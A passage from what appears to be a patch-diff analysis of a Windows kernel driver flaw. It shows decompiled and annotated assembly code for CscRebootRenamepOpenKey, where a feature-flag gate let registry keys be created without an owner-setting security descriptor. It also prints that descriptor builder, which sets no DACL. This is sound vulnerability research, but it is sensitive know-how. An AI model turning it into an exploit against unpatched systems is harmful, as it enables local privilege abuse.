&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;PSECURITY_DESCRIPTOR&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;sd&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;CscRebootRenamepCreateSecurityDescriptor&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;sub_1C00454B0&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;sd&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;status&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;       &lt;/span&gt;&lt;span class="c1"&gt;// ALWAYS build SD&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;InitializeObjectAttributes&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;oa&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Path&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;OBJ_CASE_INSENSITIVE&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;                                   &lt;/span&gt;&lt;span class="nb"&gt;NULL&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;sd&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;status&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ZwCreateKey&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Handle&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;KEY_ALL_ACCESS&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;oa&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;                             &lt;/span&gt;&lt;span class="nb"&gt;NULL&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Disposition&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="c1"&gt;// always WITH SD&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;ExFreePoolWithTag&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;sd&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;&amp;#39;&lt;/span&gt;&lt;span class="n"&gt;CrsR&lt;/span&gt;&lt;span class="err"&gt;&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;else&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;InitializeObjectAttributes&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;oa&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Path&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;OBJ_CASE_INSENSITIVE&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;                                   &lt;/span&gt;&lt;span class="nb"&gt;NULL&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;NULL&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;status&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ZwOpenKey&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Handle&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;KEY_ALL_ACCESS&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;oa&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;status&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;Key contrast:&lt;/strong&gt;
- Unpatched line &lt;code&gt;if (Feature_2858196282__private_IsEnabledDeviceUsage (sub_1C00088B4))&lt;/code&gt; → decides SD application.
- Unpatched NO-SD block: &lt;code&gt;InitializeObjectAttributes(..., NULL); ZwCreateKey(...)&lt;/code&gt; ← flaw.
- Patched: &lt;code&gt;Feature_2858196282__private_IsEnabledDeviceUsage (sub_1C00088B4)&lt;/code&gt; call removed; SD always built when &lt;code&gt;Create == TRUE&lt;/code&gt;.&lt;/p&gt;
&lt;h3&gt;SD builder reference (&lt;code&gt;CscRebootRenamepCreateSecurityDescriptor (sub_1C00454B0)&lt;/code&gt;)&lt;/h3&gt;
&lt;p&gt;This function is &lt;strong&gt;identical in both builds&lt;/strong&gt;. It sets only the owner SID; it never constructs a DACL or SACL. The descriptor is an absolute (not self-relative) &lt;code&gt;SECURITY_DESCRIPTOR&lt;/code&gt;.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="n"&gt;NTSTATUS&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;CscRebootRenamepCreateSecurityDescriptor&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;sub_1C00454B0&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;PSECURITY_DESCRIPTOR&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;Out&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;Out&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;PSID&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;sys&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;PSID&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;SeExports&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x108&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="c1"&gt;// SeLocalSystemSid&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;ULONG&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;len&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;RtlLengthSid&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;sys&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x28&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;PSECURITY_DESCRIPTOR&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;sd&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ExAllocatePool2&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;POOL_FLAG_NON_PAGED&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;len&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;&amp;#39;&lt;/span&gt;&lt;span class="n"&gt;CrsR&lt;/span&gt;&lt;span class="err"&gt;&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="n"&gt;sd&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;STATUS_INSUFFICIENT_RESOURCES&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;RtlCreateSecurityDescriptor&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;sd&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;SECURITY_DESCRIPTOR_REVISION&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="c1"&gt;// absolute SD, DACL absent&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;PSID&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;owner&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;PSID&lt;/span&gt;&lt;span class="p"&gt;)((&lt;/span&gt;&lt;span class="n"&gt;PUCHAR&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;sd&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;RtlLengthSecurityDescriptor&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;sd&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;memmove&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;owner&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;sys&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;RtlLengthSid&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;sys&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;RtlSetOwnerSecurityDescriptor&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;sd&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;owner&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;FALSE&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="c1"&gt;// OWNER only; no DACL is set&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;Out&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;sd&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;STATUS_SUCCESS&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Because the descriptor carries no DACL, attaching it to &lt;code&gt;ZwCreateKey&lt;/code&gt; fixes the new key's &lt;strong&gt;owner&lt;/strong&gt; to LocalSystem but leaves the key's DACL to parent inheritance — the same DACL the key would receive on the NULL-SD path.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;4. Assembly Analysis&lt;/h2&gt;
&lt;h3&gt;Full unpatched &lt;code&gt;CscRebootRenamepOpenKey (sub_1C004785C)&lt;/code&gt; (annotated)&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="nf"&gt;CscRebootRenamepOpenKey&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="no"&gt;sub_1C004785C&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c004785c:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;qword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;0x10&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rbx&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c0047861:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;qword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;0x18&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rsi&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c0047866:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;push&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;rbp&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c0047867:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;push&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;rdi&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c0047868:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;push&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;r12&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c004786a:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;push&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;r14&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c004786c:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;push&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;r15&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c004786e:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rbp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c0047871:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;sub&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0x70&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c0047875:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;xor&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;r12d&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;r12d&lt;/span&gt;&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="c1"&gt;; r12 = 0 (constant zero)&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c0047878:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rbx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;r9&lt;/span&gt;&lt;span class="w"&gt;             &lt;/span&gt;&lt;span class="c1"&gt;; rbx = arg4 (Disposition*)&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c004787b:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;dword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rbp-0x2c&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;r12d&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c004787f:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;r14b&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;r8b&lt;/span&gt;&lt;span class="w"&gt;           &lt;/span&gt;&lt;span class="c1"&gt;; r14b = arg3 (Create flag)&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c0047882:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;dword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rbp-0x14&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;r12d&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c0047886:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;r15&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rdx&lt;/span&gt;&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="c1"&gt;; r15 = arg2 (UNICODE_STRING* path)&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c0047889:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;dword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rbp&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;0x30&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;r12d&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c004788d:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rsi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="c1"&gt;; rsi = arg1 (Handle*)&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c0047890:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;qword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rbp&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;0x48&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;r12&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c0047894:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;edi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;r12d&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c0047897:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;qword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;r12&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c004789a:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;test&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;r9&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;r9&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c004789d:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;je&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="mi"&gt;0x1c00478a3&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c004789f:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;byte&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;r9&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0x1&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="c1"&gt;; *Disposition = 1 default&lt;/span&gt;

&lt;span class="c1"&gt;; *** ROOT-CAUSE: FEATURE-FLAG GATE ***&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c00478a3:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="mi"&gt;0x1c00088b4&lt;/span&gt;&lt;span class="w"&gt;         &lt;/span&gt;&lt;span class="c1"&gt;; returns Feature_2858196282__private_featureState (data_1C003A080) state&lt;/span&gt;
